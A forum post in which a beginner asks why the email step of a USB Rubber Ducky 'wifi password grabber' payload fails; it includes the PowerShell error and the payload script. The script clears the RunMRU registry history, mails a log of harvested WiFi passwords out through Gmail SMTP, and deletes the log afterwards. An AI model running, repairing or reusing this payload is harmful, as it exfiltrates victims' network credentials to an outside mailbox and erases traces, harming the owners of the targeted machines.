Jump to content

ERROR sending mail for each payload


mbalecr7

Recommended Posts

Hello,

i just start with the rubber ducky and check some payload like wifi password grabber but i don't why when i run the payload, at the end is always errors about the sending mail ..

 

Exception lors de l’appel de « Send » avec « 1 » argument(s) : « Échec d’envoi du courrier. »
Au caractère Ligne:1 : 1
+ $SMTPInfo.Send($ReportEmail)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : SmtpException

There is the script : 

REM –> Mail Log.txt
STRING powershell
ENTER
STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
ENTER
STRING $SMTPServer = ‘smtp.gmail.com’
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(‘………….’, ‘………..’)
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = ‘……’
ENTER
STRING $ReportEmail.To.Add(‘……..’)
ENTER
STRING $ReportEmail.Subject = ‘WiFi Password’
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER
DELAY 1000

REM –> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER

 

Hope you can help me .. 

Thanks a lot 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...